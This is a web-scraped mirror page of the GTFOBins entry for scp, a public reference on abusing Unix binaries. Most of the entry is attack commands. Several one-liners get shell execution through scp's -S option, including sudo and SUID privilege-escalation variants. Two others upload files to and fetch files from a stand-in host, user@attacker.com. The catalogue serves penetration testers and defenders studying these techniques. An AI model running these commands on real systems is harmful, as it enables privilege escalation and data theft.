This website requires JavaScript.
Explore
Help
Sign In
public-mirrors
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced
2025-11-27 22:07:48 +01:00
Code
Issues
Projects
Releases
Wiki
Activity
Files
6e11ed79be655318cd6bad9adba2f41d295856fe
GTFOBins.github.io
/
_gtfobins
/
scp.md
Andrea Cardaci
e1cd3aed68
Fix YAMLs according to YAMLlint
2018-07-16 15:01:50 +02:00
825 B
Raw
Blame
History
functions
functions
execute-non-interactive
upload
download
sudo-enabled
suid-limited
code
TF=$(mktemp) CMD="id" echo "$CMD" > "$TF" chmod +x "$TF" scp -S $TF x y:
description
code
Send local file to a SSH server.
RPATH=user@attacker.com:~/file_to_save LPATH=file_to_send scp $LFILE $RPATH
description
code
Fetch a remote file from a SSH server.
RPATH=user@attacker.com:~/file_to_get LFILE=file_to_save scp $RPATH $LFILE
code
TF=$(mktemp) CMD="id" echo "$CMD" > "$TF" chmod +x "$TF" sudo scp -S $TF x y:
code
TF=$(mktemp) CMD="id" echo "$CMD" > "$TF" chmod +x "$TF" ./scp -S $TF a b:
Reference in New Issue
View Git Blame
Copy Permalink